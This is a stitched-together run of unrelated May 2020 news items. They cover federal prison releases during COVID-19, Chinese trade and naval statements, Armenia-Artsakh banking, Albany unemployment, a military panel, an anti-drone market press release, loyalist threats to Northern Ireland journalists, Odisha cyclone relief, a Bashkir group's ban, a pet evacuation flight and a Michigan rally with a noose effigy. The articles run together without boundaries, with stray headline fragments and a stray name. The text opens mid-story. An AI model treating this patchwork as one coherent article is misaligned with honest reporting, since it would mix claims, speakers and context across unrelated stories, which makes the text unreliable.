The tally on people in home confinement and other federal prison data, obtained from the Bureau of Prisons and Congress, did not itemize how many people finished their sentences in the last seven weeks and are no longer included in the count. It also did not specify how many prison-to-home transfers were approved by the bureau, as was the case with Manafort and Cohen, and how many were ordered by judges  many over objections from federal prosecutors, despite Barrs order.

The total population in federal custody has gone down by about 10,800 people since April 2, the data show. That includes emergency releases. But it also includes people whose sentences were set to end during the past seven weeks, a figure the bureau on Thursday put at about 7,600. The data did not specify how many new prisoners the bureau accepted.

Related: Patrick Jones "spent the last 12 years contesting a sentence that ultimately killed him," one of his former lawyers said.

The population in halfway houses, the less-restrictive facilities where federal prisoners generally serve the last six months of their sentences, dropped by almost 1,300, a decrease of 17 percent since April 2. That still left about 6,100 other people in halfway houses as of Thursday, bureau data show. Because these prisoners have generally less than six months to serve in their sentences, advocates say they could be released to avoid risks where many cannot sufficiently maintain social distance.

The Bureau of Prisons results so far prompted a federal judge this week to order a review of medically vulnerable people housed in a prison in Elkton, Ohio, where officials reported nine deaths from the coronavirus. U.S. District Court Judge James Gwin last month had ordered officials to give him a list of those over age 65 or with significant health conditions.

The bureau told him 837 men met that criteria, but that only five would be sent home and six more may qualify. In the often-dry language of court rulings, Gwin gave prison officials the equivalent of a tongue lashing.

Against a backdrop where approximately one out of every four Elkton inmates have tested positive for COVID-19, the respondent must move inmates out. By thumbing their nose at their authority to authorize home confinement, the respondents threaten staff and they threaten low security inmates, the judge wrote, referring to the Bureau of Prisons as the respondent.

Gwin gave the bureau until this Monday, Memorial Day, to provide detailed reasons for each denial to the other 826 prisoners, and to other medically vulnerable Elkton prisoners the agency did not include on the list. On Wednesday, the bureau asked the U.S. Supreme Court to pause the case pending an appeal.

From the start, the bureau has given confusing signals about how its evaluating prisoners for release, changing its official guidance a few times.

Prisoners previously had to finish 90 percent of their sentence before they could be sent to home confinement. But the relief law Congress passed in March gave the attorney general broad powers to release prisoners during the pandemic. That process is internal, with the Bureau of Prisons able to select people for release and prisoners able to request release. But if bureau officials deny a request for home confinement, a prisoner cant appeal.

By contrast, compassionate release allows prisoners to ask a federal judge for release if they show extraordinary and compelling reasons under the 2018 First Step Act. But many prisoners lack the education or skills to navigate the courts, and successful attempts usually require a lawyer.

The latest figures show that since early April, 268 prisoners nationwide received compassionate release. Since Trump signed the law in 2018, only 144 people had been granted such release before April 2, bureau data show.

The Department of Justice has been fighting many coronavirus-related requests for compassionate release in court, according to records and advocates monitoring the process. In a case decided this week, government lawyers called compassionate release a Get Out of Jail Free Card and referred to the pandemic as a red herring.

Instead, the Bureau of Prisons is starting to put people in home confinement, but slowly, according to Kevin Ring, president of FAMM, a national criminal justice advocacy group.

I think the mass effort were putting into compassionate release is forcing them to designate more people for home confinement because I think theyd rather have these people in home confinement than completely released, he said of federal officials. It feels totally contradictory  youre saying that were doing everything we can to get people out of harms way, but you have this tool that youre not using at all.

But when federal officials rely on home confinement, as opposed to compassionate release, they effectively eliminate from the process thousands of medically vulnerable or aging prisoners who are not considered "minimum" risk, Ring said. Thats because to determine whether someone can be sent home, the bureau uses a tool to assess their risk of committing a crime after release, a tool that has been shown to favor white prisoners.

The federal risk assessment tool has blocked the release of prisoners like Eddie Brown, the Oklahoma man serving his sentence in Tennessee. Brown, 47, has hepatitis C and has done everything possible to better himself in prison, earning a welding certificate, taking plumbing and parenting classes, and completing a 500-hour substance abuse program, his daughter said.

Image: Eddie Brown holds his granddaughter, Rynlee Bolding, while posing for a photo with his daughter, Amanda Bolding, and her brother, Jaden Brown. (Courtesy of Amanda Bolding)

Prison officials even trust him to drive fellow prisoners, without an officers escort, to a factory where Brown is the chief welder, Bolding, his daughter, said. In January, two officers drove him from the prison in Tennessee to Oklahoma so Brown could renew his commercial drivers license, she said.

The risk assessment tool, which assigns prisoners points, left Brown just shy of the threshold officials are using, because his three previous felony convictions on state drug-related charges outweighed the points he earned for good behavior in prison, according to bureau documents provided by Bolding. So the bureau is not letting her father go home, even as he fears his health condition puts him at higher risk of developing complications from the virus.

He has something beneficial for the Bureau of Prisons, Bolding said, referring to her fathers driving job. Thats why they arent releasing him.

If released, Brown has a standing job offer from Tommy Bruton at TJ Inspection Inc., an oil and gas servicing company based in Oklahoma City.

It blows my mind that he got locked up for so long, said Bruton, a friend of Browns. He aint a danger to society.

For some prisoners, the entire process  and the shifting requirements for release  are so confusing they arent even trying.

That has been the case for Catherine Crotts, at the Coleman federal prison camp in central Florida, the same minimum-security unit hit by an outbreak of Legionnaires disease last year. Crotts, 45, said she uses a wheelchair because of injuries and has untreated hepatitis C. By day, she said, she works driving other prisoners to their jobs around the sprawling compound.

Image: A cell at FCI Coleman Medium, part of the Federal Bureau of Prisons, in Coleman, Fla., in 2015. (Nikki Kahn / The Washington Post via Getty Images file)

In many ways she seems like she might be a natural candidate for release. Her crime was a nonviolent drug charge, stemming from years of meth addiction: She sold about $2,200 worth of drugs to a police informant in the parking lot of a casino in Tampa in 2015.

Even though shes served four years of a 10-year sentence, she hasnt applied for home confinement. I have no clue how to do any of that stuff, she said. I havent filed anything to get out of here because I dont know what to do. I just try to get through my days.

Having a lawyer was key for Akram Abdel-Aziz. His lawyer successfully argued for his compassionate release before the same judge who had sentenced Abdel-Aziz in October to 50 months in prison.

Abdel-Aziz, 53, was convicted of selling synthetic marijuana and money laundering. He said diabetes, obesity and high blood pressure put him at high risk from the coronavirus running rampant in the Butner prison complex in North Carolina, where eight prisoners have died and another 344 have tested positive.

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The Department of Justice opposed his release with a set of arguments common in such cases: Judges shouldnt micromanage prisons; the Bureau of Prisons knows best whom to release and has the pandemic under control; its unfair to burden the agency with lawsuits in the middle of a crisis.

But the prosecutor in this case went beyond those standard arguments, saying that Abdel-Aziz was merely trying to play a Get Out of Jail Free card and that COVID-19 was merely a red herring used as a distraction from medical conditions that arent compelling, according to court filings.

U.S. District Judge Terrence Boyle dismissed those arguments, noting that Abdel-Aziz has a long work history and no substance abuse issues. While the crimes were serious, Abdel-Aziz had been on good behavior in the community during the year and a half between his arrest and his reporting to prison, Boyle wrote.

In the end, the judges decision balanced the health risks and the purpose of a prison sentence.

Three years of additional confinement in the BOP is not required to satisfy the goals of sentencing, he wrote.

Abdel-Aziz was picked up by his son on Tuesday afternoon and started two years of home confinement with 14 days of self quarantine at his family home.
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China has promised to continue working toward the implementation of its "phase one" trade deal with the U.S., as tensions flare up between the two economic powerhouses.

In a report on the work of the government delivered to the National People's Congress (NPC) on Friday, Chinese Premier Li Keqiang vowed that Beijing will work toward the liberalization of global trade and investment.

"We will work with the United States to implement the phase one China-U.S. economic and trade agreement," Li said.

"China will continue to boost economic and trade cooperation with other countries to deliver mutual benefits."
PLA naval deputy to NPC talks about technological innovation in equipment protection

PLA Daily

Source: China Military Online

Editor: Huang Panyue

2020-05-21 21:34:13

BEIJING, May 21 -- "The corrosion prevention and control of equipment is a strategic project for the navy. It is necessary to think from a macro-strategic perspective, and start with the innovative details", said Cao Jingyi, a deputy to the National People's Congress (NPC) of China and research director with the PLA Navy Academy, in an interview when he is going to attend the 13th National People's Congress in Beijing .

Over last year, Cao Jingyi, together with his team, have made extensive research and offered strategic suggestions at the requirements of the PLA Navy's strategic transformation and future naval warfare based on artificial intelligence (AI). At the same time, they were also committed to tackle existing practical problems in upgrading corrosion prevention of naval equipment and the application of advanced materials.

In 2019, this team had undertaken more than 110 scientific research tasks and taken the lead in launching a special corrosion control project of the PLA naval equipment.

They reshaped the corrosion prevention and control mode comprehensively from six dimensions, namely the management, technology, materials, standards, assessment tests, and data analyses; completed the comprehensive demonstration of the research on the new-generation materials' application to vessel structure, laying a solid foundation for the development and building of future naval vessels.

Besides, they have also conducted some specific tasks such as the assessment of naval coating and the standardization of naval equipment specifications.

In recent years, the top concern for Cao Jingyi is that the naval equipment corrosion protection work has not received due attention.

According to Cao Jingyi, "when it comes to the combat effectiveness of vessel equipment, the first issues that come to people's minds may be the advanced weaponry platform, sensitive detection equipment, and powerful command system. Corrosion prevention is more likely to act as a supporting role."

Most people used to think that the equipment corrosion prevention only means de-rusting and painting. The corrosion is but something related to the equipment appearance or the water leakage in pipes, so the innovation of corrosion prevention technology is nothing more than the development of new paints and new tools.

In fact, the corrosion issue has become the number one killer that triggers equipment failures and accidents, the biggest headache that pulls down combat readiness and maintenance capabilities, and the number one enemy that affects the quick reaction and strategic deployment of equipment. This issue implies a lasting combat on an invisible battlefield.

The impact of corrosion on equipment is systematic and could be seen anywhere and anytime, which in turn determines that the equipment corrosion prevention is correspondingly a systematic project.

Cao Jingyi pointed out that it is urgent to get rid of the traditional low-level, unsystematic and simple coating or painting mode, and get it promoted as a national strategy, being addressed in line with top-level planning and deployment, with the establishment of a complete corrosion prevention mechanism and system from top to bottom.

The team will take every possible means to break through the existing bottleneck of technology, so as to improve the corrosion prevention level fundamentally.

"As scientific and technological service members in the new era, we will start with the nuances scientific research work and live up to the glorious mission entrusted to us by the times", said Cao Jingyi.

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The Prime Minister of Armenia, Nikol Pashinyan, and the new President of the Artsakh (Nagorno-Karabakh) Republic, Arayik Harutyunyan, met in Stepanakert with the representatives of the banking systems of Armenia and Artsakh.

"It is desirable not to continue, but to further intensify cooperation, as in the near future we plan to ensure much higher rates of development, whereas only the financial resources of the two governments will not allow it to do so; more ambitious programs will have to be implemented," Harutyunyan said.

"Over the last ten years, a rather serious development in the banking system has been registered in Artsakh, which has been essential for Artsakh's economic successes. The economic ambitions that we have in common will not be possible to implement if this content is not perceived by the banking system. In some ways, that content needs to be formed jointly. In this period of anti-crisis, we also use its experience when the representatives of the government, the banking system and the parliament sit at the same table and discuss the development of agriculture, overcoming the crisis, solving social problems," Pashinyan said, in particular, for his part.

Then the discussants conferred on the avenues for the expansion of cooperation between the financial and banking systems, the promotion of the activities of Armenias banks in Artsakh, the intensification of funding of business programs, and the fund of investment projects in various sectors of the economy.

The representatives of the banking system expressed readiness to focus on the initiatives of the governments of Armenia and Artsakh, and to be more extensively involved in the implementation of the programs, ensuring large and low-interest-rate measures for the market.
ALBANY  The number of jobs in the Albany-Schenectady-Troy metro plunged by 15.7 percent in April from a year earlier, the state Labor Department reported Thursday. The jobs report for the five-county region is the latest indicator of how the shutdown of most business activity in the wake of the coronavirus pandemic has affected the workforce.

There were 398,800 jobs in the five counties, down from 473,100 a year ago.

Even as some employees were returning to work this week in the Capital Region, the number of workers filing initial claims for unemployment benefits continued to climb. In a separate report earlier Thursday, the U.S. Labor Department reported that 2.438 million workers filed initial claims in the week ending May 16, down 249,000 from the previous week's total of 2.687 million (revised downward by 294,000 from the 2.981 million reported initially).

In New York, the initial number of claims rose to 226,521, up 27,102 from 199,419 reported the week ending May 9.

The initial phase of business reopenings in the Capital Region on Wednesday drew workers to construction sites and manufacturers, two of the sectors that were able to resume operations as the spread of COVID-19 continued to slow. Workers resumed construction of a new parking garage in downtown Saratoga Springs, as well as on apartments, homes and commercial buildings throughout the region.

In the greater Capital Region  comprised of Albany, Columbia, Greene, Rensselaer, Saratoga, Schenectady, Warren and Washington counties  8,618 workers filed initial claims for unemployment insurance, up from 8,039 in the week ending May 9, according to the state Labor Department.

Since the start of the pandemic 10 weeks ago, 93,818 Capital Region workers have filed for unemployment benefits. Over the same period a year earlier, the number was just 6,628.

On Wednesday, the state Labor Department reported it had paid out $10 billion in unemployment benefits during the pandemic to more than 2 million recipients, and that it had reduced the backlog of individuals seeking benefits before April 22 to 7,580.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

"No one could have predicted the wave of unemployment applications that crashed over the United States because of the COVID-19 pandemic, and every state is struggling  but New York has moved faster than any other state to address our backlog and get money into New Yorkers' hands," said Labor Commissioner Roberta Reardon in a statement." In all of 2019, only $2.1 billion in unemployment benefits were paid out statewide.

"Those claims that have been outstanding for weeks are ones that we simply cannot process  we have already attempted to contact all of these New Yorkers, and we will continue to try get in touch with everyone who applied so we can connect them with the benefits they are eligible for," she added.

Employers continue to file Worker Adjustment and Retraining Act Notices with the state Labor Department. Most recently, Hunter Mountain in the Catskills notified the agency it had idled 55 workers, while Crest Logistics LLC, a subcontractor to Union Pacific Railroad, said it had idled 171 workers at the former Railex food distribution center at the Rotterdam Industrial Park. Both employers blamed "unforeseeable business circumstances prompted by COVID-19."

Nationally, last week's claims bring the total since the pandemic to nearly 39 million workers.
Upbeat assessments by Air Force Gen. John Hyten on how the military will get past the COVID-19 crisis and adapt to a "new normal" were challenged Thursday in a forum on the future of the force.

"We're ready for every threat we potentially could face today in the world," said Hyten, vice chairman of the Joint Chiefs of Staff. He added that the virus' impact on the military has not been "nearly as significant" as it has been on the rest of the nation.

Read next: 'She's Doing Well:' Esper Discusses Young Sailor Who Took Down Corpus Christi Gunman

The pandemic can serve as an example of "how we have to move and do business different ways," he said, claiming that the crisis is similar to others the U.S. has come through in the past.

"This is just a traumatic event, like 9/11 was," or the Gulf War, the Cold War, Vietnam and Korea, Hyten said in the virtual panel discussion, which was sponsored by Blue Star Families.

"This is another challenge that is put in front of us, and our job is to figure out how to get through it" under the current national defense strategy focused on countering Russia and China, Hyten said.

"If you want to call it the new normal, we can call it the new normal. But I'd just like to say it's normal. We just have another challenge that's put in front of us," he said. "And just like we did when we faced the challenge with terrorism, just like we did when we faced the challenge with communism, we will figure out how to deal with this challenge and continue to operate and live in just an amazing country with amazing people."

Hyten's views were in sharp contrast with those of others on the panel, who predicted major upheaval for the force, downward spirals in budgets, and fundamental shifts in strategy and tactics.

"I might take issue a little bit with Gen. Hyten's view that we've gone through these before," said retired Army Lt. Gen. David Barno, the former commander of U.S. and coalition forces in Afghanistan.

"This is a crisis and a disruptive event of the size and scope that hasn't happened in my lifetime," Barno said, pointing to a cratering of the economy rivaling that of the Great Depression and a death toll not seen since World War II.

As a result, the defense budget "is going to face some severe pressure in the face of those huge deficits the U.S. is going to run this year, next year and into the future," he said.

In addition, cyber and space domains will have "much higher priorities" in the Defense Department's thinking going forward, and the traditional dominance of the roles of air, land and sea power will be diminished, Barno said.

The nation's entire defense strategy is based on forward-deployed forces, but that will now be called into question, he added.

COVID-19 has demonstrated that threats "can leap over those forward defenses," said Barno, now with the Johns Hopkins School of Advanced International Studies. "That's going to change how we think about defense of the nation and how we prioritize our defense."

Nora Bensahel, a scholar in residence at Johns Hopkins, predicted "two tremendous impacts" on the military from COVID-19 and the nation's response to its aftermath.

The first major change will be in how Americans view national security, something that "has already changed very dramatically," Bensahel said.

Internal threats will increasingly replace external threats as the main concern and will be seen by Americans as "more important to their day-to-day lives than potential threats from places like China and Russia and other places that are far away," she said.

"Lots of Americans are going to see the Defense Department as nowhere near as relevant to their new definitions of personal security going forward, and that's going to be a big transformative change," Bensahel said.

The second major change will come in the way of shrinking defense budgets, she said.

Funding for defense "is almost certainly going to go down, and it is probably going to go down a lot," she said.

"This economic crisis is also going to cause a great deal of budgetary constraints overall," Bensahel said. "[The] defense budget is going to shrink substantially in the years to come."

-- Richard Sisk can be reached at Richard.Sisk@Military.com.

Related: SecDef 'Absolutely Confident' US Will Have a COVID-19 Vaccine by Year's End
BANGALORE, India, May 22, 2020 /PRNewswire/ -- Anti-Drone refers to devices used for the identification and capture of unmanned aircraft. This serves as an intelligent shield that senses the presence of drones kilometers away, recognizes the pattern, and learns to neutralize them by finding their vulnerabilities.

The global anti-drone market size is projected to increase from USD 512.24 Million in 2018 to USD 2.315 Billion at a CAGR of 24.04 percent by the end of 2025.

Increased use of these unidentified airborne devices to spy from backyards and windows has increased the worldwide threat to national security. Such aircraft systems are composed of various sensors capable of capturing video and audio, regardless of time and location. Manufacturers are gradually designing ground-breaking UAV mitigation technologies to combat them, which prevent the drones from flying in illegal airspace.

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TRENDS INFLUENCING THE GLOBAL ANTI DRONE MARKET SIZE:

The Anti Drone Market size is growing rapidly because of increasing concerns about the possible security risks posed by unauthorized aircraft systems in both the civil and military sectors. Increasing numbers of reports of security breaches by these unauthorized unmanned aerial vehicles ( UAVs), combined with the increase in terrorism and illegal activity, have largely driven the market in the last few years.

Engineering firms and defense contractors are increasing R&D to develop systems that can detect approaching drones and neutralize incoming threats. Due to increased investments by various governments in this technology, the anti-drone market size is expected to grow rapidly over the forecast period.

Companies on the anti-drone market are gaining experience in designing high-definition radars that can track devices from a distance of many kilometers. They combine these radar technologies with long-range infrared cameras to confirm and track the targets. This increase in technological advancements is expected to increase the Anti-Drone market size.

Anti-drone technology is relatively new on the market, and the technologies used to manufacture counter-UAV systems undergo rigorous research and development. The costs incurred in R&D are also very high because of the use of lasers and other advanced technologies. The high initial investment requirement might hinder the Anti-Drone Market market growth.

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ANTI-DRONE MARKET SHARE ANALYSIS:

During the forecast period, the military & defense vertical is projected to account for the largest Anti-Drone Market share. Countries are currently insisting on the importance of reinforcing counter-drone measures to monitor terrorist activities, which is expected to boost the demand for anti-drone market systems. The use of drones has increased for border trespassing, smuggling, and spying. Consequently, the demand for an efficient anti-drone system in the military & defense sector is expected to rise in the coming years.

In terms of region, the Americas are likely to account for the largest Anti-Drone Market share. This growth can be attributed to the presence of several key players in that region. Other factors contributing to this market 's growth also include increasing terrorist attacks and rising incidences of security breaches by unidentified drones in the Americas, particularly in the US.

The Asia Pacific anti-drone market is expected to witness significant growth due to increased government spending on expanding the aerospace and defense infrastructure, especially in emerging economies.

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ON THE BASIS OF TECHNOLOGY, THE GLOBAL ANTI-DRONE MARKET IS STUDIED ACROSS

Electronic System

Kinetic System

Laser System.

ON THE BASIS OF APPLICATION, THE GLOBAL ANTI-DRONE MARKET IS STUDIED ACROSS

Detection

Detection

Disruption.

ON THE BASIS OF VERTICALS, THE GLOBAL ANTI-DRONE MARKET IS STUDIED ACROSS

Commercial

Homeland Security

Military & Defense.

KEY PLAYERS

"Lockheed Martin Corp. the potential growing player for the Global Anti-Drone Market"

DroneShield

Israel Aerospace Industries Ltd

Lockheed Martin Corp

Raytheon Company

Thales Group

Battele Memorial Institute

Blighter Surveillance Systems Ltd.

Dedrone

Detect

Liteye Systems, Inc.

Northrop Grumman Corp

Saab AB

Security and Counterintelligence Group LLC

SRC

Theiss Uav Solutions, LLC

Thales Group

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SIMILAR REPORTS :

Target Drones Market Report

The global Target Drones market size is estimated to reach USD 3.426 Billion in 2020, reaching USD 5.066 Billion by the end of 2026, growing at a CAGR of 5.7 percent in 2021-2026.

A key factor that is expected to drive the market growth is the increasing demand for target drones for military purposes.

North America, Europe, China, the rest of Asia Pacific, Central & South America, Middle East & Africa, etc. are the major regions covered in the report. Based on global sales, the study lists the major players in the regions and their market share, respectively. It also explains their strategic moves in recent years, investments in product innovation, and changes in leadership to stay ahead in the competition.

View Full Report: https://reports.valuates.com/market-reports/QYRE-Auto-34T1174/global-target-drones

Commercial Drones Market Report

In 2015, the global Commercial Drones Market size was valued at USD 2.145 Billion and was projected to reach USD 10.738 Billion by 2022, growing at a CAGR of 26.2 percent from 2016 to 2022.

The increasing adoption of smartphones, increased demand for aerial services, and increased demand for drone services from different sectors would complement the growth of Commercial Drones Market size.

This report analyses the Commercial Drones Market size by players, countries, product types, and end industries. The report also analyses the global competitive environment, market drivers and patterns, opportunities and challenges, risks, and barriers to entry, distribution channels, distributors, and Porter's Five Forces analysis.

View Full Report: https://reports.valuates.com/market-reports/ALLI-Auto-0I135/commercial-drones

Anti-UAV Defence System Market Report

The AUDS (Anti-UAV Defence System) is a countermeasure against unmanned aircraft (UAV). The system is believed to be the first fully-integrated counter-drone detection-track-disrupting device in the world.

This report studies the Anti-UAV Defence System Market size by players, countries, product types, and end industries. The report also analyses the global competitive environment, market drivers and patterns, opportunities and challenges, risks, and barriers to entry, distribution channels, distributors, and Porter's Five Forces analysis.

View Full Report: https://reports.valuates.com/market-reports/QYRE-Othe-4C245/anti-uav-defence-system

Defense Drones Market Report

Due to their endurance and versatility, Defense Drones are an essential tool for modern defense forces, which makes them suitable for gathering intelligence and supporting roles for military operations. Drones can also be engineered to operate autonomously with onboard instruments with various functionalities controlled and directed in real-time by instructors operating from a remote location.

This report studies the Defense Drones Market size by players, countries, product types, and end industries. The report also analyses the global competitive environment, market drivers and patterns, opportunities and challenges, risks, and barriers to entry, distribution channels, distributors, and Porter's Five Forces analysis.

View Full Report: https://reports.valuates.com/market-reports/QYRE-Othe-1V297/defense-drones

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A UDA mural in the Glenfada area of Carrickfergus. Pic Pacemaker

A UDA faction has denied issuing threats to journalists and politicians in Northern Ireland, two clergymen have said.

Former Church of Ireland primate Alan Harper and Methodist minister Gary Mason asked a trusted intermediary to meet with the leadership of the South East Antrim UDA.

It came after Sunday Life and Sunday World journalists were threatened for covering stories on the terror grouping.

Politicians who spoke out against the threats also received warnings.

In a statement to the BBC, the two clergymen said they had been told the South East Antrim faction was not responsible.

Several meetings took place in the past week, involving the intermediary, the BBC reported.

In a statement, the clergymen said: The outcome of those meetings, relayed to the two clergy persons, is that there are no threats to any politicians or journalists from this grouping and that the threat did not emanate from them in the first place.

However, last night sources said they believe the threats emanate from elements within the South East Antrim UDA.

There has been widespread condemnation of the threats.

Earlier this week the publishers of the Belfast Telegraph, The Irish News and News Letter, and the National Union of Journalists, joined together in opposition to threats.

The Stand Up for Journalism campaign asserts the right of journalists to work without threats, intimidation or harassment.

Signatories include the First Minister Arlene Foster, deputy First Minster Michelle ONeill and the majority of MLAs.

The South East Antrim UDA claims to control an area stretching 20 miles from Larne to north Belfast, along with pockets of Newtownards. It is considered one of Northern Irelands most dangerous organised crime gangs.

Read More

The Sunday Life and Sunday World journalists were targeted because of exposes in both titles about UDA involvement in criminality, drug dealing and involvement in the January murder of terminally ill Glen Quinn in Carrickfergus.

Police visited journalists homes, with one being warned of a potential under-car booby-trap attack.

Peter Vandermeersch, publisher at Independent News and Media which owns the titles, has led condemnation of the threats.

He said threats against journalists should not be tolerated in any free society.

It is depressing that thugs still believe they can silence the press through intimidation. We will continue to publish stories that shed light in dark corners, he added.

Politicians who had condemned the threats to journalists were then warned they were at risk.

Police contacted UUP leader Steve Aiken, his party colleague the Upper Bann MLA Doug Beattie, Sinn Feins Linda Dillon, the SDLP MLA Patsy McGlone, DUP MLA David Hilditch and Alliance MP Stephen Farry warning of a credible threat from loyalists.

Amnesty international described the threats as an attack on democracy.

Police do not discuss the nature or severity of any threats they become aware of.
SC directs states to reach out to 10,000 kids orphaned due to Covid-19, pay compensation

India logs over 3.17 lakh new Covid cases in last 24 hours; daily positivity rate up at 16.41 per cent

COVID-19 fatalities may be much more than what is being reported

New AI-based test uses X-rays to detect Covid in a few minutes

PM announces Rs 500 cr advance relief for cyclone-hit Odisha

India

pti-PTI

Bhubaneswar, May 22: Prime Minister Narendra Modi announced an advance financial assistance of Rs 500 crore for cyclone-battered Odisha on Friday.

PM Modi announces Rs 1000 crore immediate relief for cyclone-hit West Bengal | Oneindia News

Modi made the announcement after an aerial survey of areas hit by cyclone 'Amphan' and holding a review meeting with Odisha Governor Ganeshi Lal and Chief Minister Naveen Patnaik.

The prime minister said further assistance will be provided for long-term rehabilitation measures after getting a detailed report from the state government.

The leaders toured districts such as Jagatsinghpur, Kendrapara, Bhadrak, Balasore, Jajpur and Mayurbhanj for about 90 minutes. Union ministers Dharmendra Pradhan and Pratap Sarangi were also present at the review meeting held at the premises of the Biju Patnaik International Airport here.

22 opposition parties call upon Centre to declare Cyclone Amphan as national calamity

Modi said that though the Odisha government has been able to save lives by undertaking preparations well in advance, the cyclone has caused damage to housing, power and infrastructure, besides the agriculture sector while moving towards West Bengal.

Complimenting the people of Odisha, administration and the chief minister for saving lives, Modi said the disaster posed a serious challenge before the state as it struck at a time when everyone is engaged in a formidable battle against COVID-19.




Yoo Jae-soo
UFA, Russia -- The Supreme Court of the Russian Republic of Bashkortostan has banned the Bashqort group, which for years has promoted the Bashkir language and culture as well as equal rights for ethnic Bashkirs.

The court on May 22 labeled the group extremist and banned its operations based on what it called the "presence in the organization of individuals who had been convicted on extremism charges."

The group's leader, Fail Alsynov, said earlier that extremism charges against members of his organization were often politically motivated.

The group's lawyers said they will appeal the ruling, which they believe will "have a negative effect on all national and ethnic movements of Bashkirs and civil rights activists in the Republic of Bashkortostan."

Bashqort has faced pressure in recent years after staging several rallies and other events challenging the policies of both local and federal authorities, including Moscow's move to abolish mandatory indigenous-language classes in the regions with large populations of indigenous ethnic groups.
Melissa Wolfe says shes felt empty inside ever since she had to make the tough decision to board a repatriation flight from Toronto to the Cayman Islands with her children but not her two beloved Yorkshire Terriers.

Just three days ahead of April 20, she learned a repatriation flight would be able to help her get back , but Tinki and Misu wouldnt be allowed on.

The same flight also brought back Canadians stuck in the Cayman Islands back to Toronto.

Its a feeling of incompleteness, not having the whole family together, she told the Star over the phone. Theres a big void. Were having fun together. Were all together. Were happy about that. But not having the dogs is a void.

What she didnt anticipate was that a woman in the Cayman Islands would pay for a private charter to help reunite them.

Nikole Poirier, originally from Banff, B.C., decided to organize the flight after hearing stories from owners who had either left their pets behind or had decided to ride out the pandemic with them from the comfort of the beach.

This is Noahs Ark for everyone who couldnt get their pets off the island, she said over the phone.

The 787-800 Sunwing aircraft carrying 27 cats and dogs, as well as 92 passengers, landed at Toronto Pearson Airport this Friday.

Im very excited for them to be a part of our family again; it makes me want to cry, Wolfe said just ahead of the landing.

Poirier said the whole process started about a month ago after she began connecting with the pet-owners through the Facebook page Canadian Club of Cayman.

My biggest priority was getting animals off the island, Poirier said. A lot of these companies, West Jet, Air Canada  first-class high-end planes  theyre not interested in a zoo on their plane, right? So it was a matter of finding a company that would work with us, and Sunwing was willing, and they allowed us up to 55 animals on the plane.

It relied on a lot of collaboration with the consulates in both countries, although the flight was not an official repatriation flight.

I feel like I have new best friends, Poirier said. They were very helpful.

Amie McKie, the owner of a doggy daycare, provided vet services and ensured the dogs were well cared for until they boarded the flight, she said.

The cost of the flight amounted to about $130,000 and was split between the passengers.

Not all of the pets will see their journey end on Friday. Susan Gabruchs Cayman mutt Toby will have to be picked up by a pet service before the two are reunited in North Battleford, Sask., where she returned before the Canadian border closed, to join her husband.

Ive had (Toby) for over eight years so I really miss him, I cant wait to have him here, said Susan Gabruch Im extremely happy.

Miriam Lafontaine is a breaking news reporter, working out of the Star's radio room in Toronto. Follow her on Twitter: @mirilafontaine
YPSILANTI TWP., MI - For the second time in a week, a brief scuffle broke out over a prop hanging Gov. Gretchen Whitmer in effigy during a political rally.

More than 100 supporters of President Donald Trump gathered Thursday in a party store parking lot across the street from the Rawsonville Ford Motor Company manufacturing plant in Ypsilanti Township. The presidents visit was to honor the companys work to produce PPE and ventilators to combat the coronavirus pandemic.

A counter-protester attempted to steal the noose tied around a brunette dolls neck Thursday afternoon in the parking lot of Round Haus Pizza and Party, 5970 Bridge Road in Ypsilanti Township, said the Washtenaw County Sheriffs Office. It led to a verbal argument, which deputies broke up before returning it to the Trump supporter, police said.

No arrests were made, police said.

In fact, it was the same noose and doll display utilized by James Chapman, the central figure in last Thursdays scuffle during a protest against Whitmer in Lansing. Chapman was present at the Trump rally, but another man was using his prop.

He has a criminal history and wants to be a Michigan lawmaker. Thursday, he carried a doll in a noose to the state Capitol.

Chapman and the acquaintance showed off the prop throughout the rally. Chapman biked around with it to loud cheers, as well as a few grumbles, even from the pro-Trump crowd. In one instance, the acquaintance marched with the prop as if it were a rifle in a color guard.

The noose is one size fits all for anyone not standing up to Whitmer and her tyranny, said Chapman on Monday. That includes RINOs, or Republicans in Name Only, he said. He repeated the refrain throughout Thursdays rally.

The Republicans need to be cleaned out, Chapman said. I would like to give some political symbolism here. That noose is one size fits all, and we will kick your RINO butt out of there."

Protester explains doll, noose demonstration at Capitol, wants to gift props to Trump

Whitmer has been the target of protests over her issuance of an emergency declaration and numerous executive orders - without support from the legislature - in response to the coronavirus outbreak.

A judge on Thursday ruled in Whitmers favor in a lawsuit filed by the state House and Senate.

Gov. Gretchen Whitmer can extend state of emergency without legislature, judge rules

In addition to the Trump supporters rallying Thursday, about two dozen counter-protesters showed up to criticize the Presidents COVID-19 response. Pro-Trump chants included Four More Years, and Heil Whitmer, while anti-Trump demonstrators blamed the nearly 100,000 coronavirus deaths nationwide on the president and Vice President Mike Pence.

Michigan has had 53,009 confirmed cases of the coronavirus, more than 5,000 deaths and 28,234 people who recovered as of Wednesday, according to state figures.

Live: Supporters Await Trump Arrival Supporters and protestors of President Trump await his arrival outside the Ford factory he'll be touring in Ypsilanti Township Posted by MLive.com on Thursday, May 21, 2020

While several Trump supporters declined to wear masks during the gathering, counter-protesters donned them and kept social distance while voicing their displeasure with the president. Tom Moran, a retired bus driver from Hartland, asked Trump supporters arguing with him to maintain six feet of separation, as recommended by the Center for Disease Control and Prevention.

One experience shared by all who attended: Towed cars. Round Haus owner Donald George called for dozens of cars filling his parking lot to be towed to make room for his everyday customers.

I did expect a lot of people, he said. I didnt know it was going to block up my whole business here.

Michigan State Police and Washtenaw County Sheriffs cars blocked off the route from Detroit-Wayne International Airport in Romulus to the Ford factory, and had Trumps motorcade turn into the plant a block away from the political rally outside Round Haus. A separate gathering of only Trump supporters gathered right across from the entrance, as well.

When Trump arrived, the crowd erupted, and other than a few obscenities hurled between the opposing sides of the rally, no significant altercations occurred.

Trump convened administration officials, local elected leaders and Detroit-area business owners at the plant after arriving. The president, sitting in front of a banner with the words Transition to Greatness," pledged to help Michigans African American residents recover from the disproportionate impact the coronavirus pandemic has had on their communities.

As our nation battles the invisible enemy, African American communities have been hit very hard, including Detroit, Trump said. My administration is working relentlessly to rush supplies and resources to these communities and to protect the health safety and economic opportunity of all African Americans and all Americans.

The virus has disproportionately infected and killed African American residents, who comprise 14% of the states population and 40% of deaths.

Read more: Trump says plague from China cut short economic gains for Michigans black residents

PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

